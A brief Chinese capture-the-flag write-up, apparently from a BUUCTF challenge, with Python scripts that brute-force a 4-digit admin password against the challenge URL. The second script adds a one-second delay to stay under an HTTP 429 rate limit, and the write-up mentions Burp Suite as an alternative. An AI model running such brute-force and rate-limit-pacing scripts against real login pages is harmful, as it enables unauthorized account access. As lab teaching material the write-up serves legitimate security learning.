提示是个暴力破解的题
输入常见的admin/admin,
用户名admin正确,使用脚本爆破4位数字密码。
import requests url = "http://277804f0-9c85-43ee-a853-0c10711e526f.node4.buuoj.cn:81/?username=admin&password=" for i in range(1000,10000): res = requests.get(url + str(i)) print("[*]Try:",i) if res.text!="密码错误,为四位数字。": print("***爆破成功***") print(res.text) break
Too Many Reqests! 服务端检测到过快的登录尝试,进行了屏蔽。猜测是短时间爆破的次数太多了,对应的解决方法,是减少并发线程数和每次访问的时间间隔。
在HTTP协议中,响应状态码 429 Too Many Requests 表示在一定的时间内用户发送了太多的请求,即超出了“频次限制”。在响应中,可以提供一个 Retry-After 首部来提示用户需要等待多长时间之后再发送新的请求。
服务器不主动拒绝请求,不封ip,但是会限制请求频率,所有我们要尊重服务器的设置,适当降低请求频率,不要试图解决它。
这里调用python的time库:
Python time sleep() 函数推迟调用线程的运行,可通过参数secs指秒数,表示进程挂起的时间。
import requests import time url = "http://277804f0-9c85-43ee-a853-0c10711e526f.node4.buuoj.cn:81/?username=admin&password=" for i in range(1000,10000): res = requests.get(url + str(i)) print("[*]Try:",i) time.sleep(1) if res.text!="密码错误,为四位数字。": print("***爆破成功***") print(res.text) break
这次倒是不会报429,但是比较慢,可以挂载后台让它慢慢跑。如果把间隔的时间再缩短一点比如0.5秒,0.4秒,可能也不会报错。
【脚本这里其实只考虑到了1000以上的4位数,没有包含类似0010这样的4位数组合】
也可以使用burpsuite爆破:(options的request engine中设置请求线程数)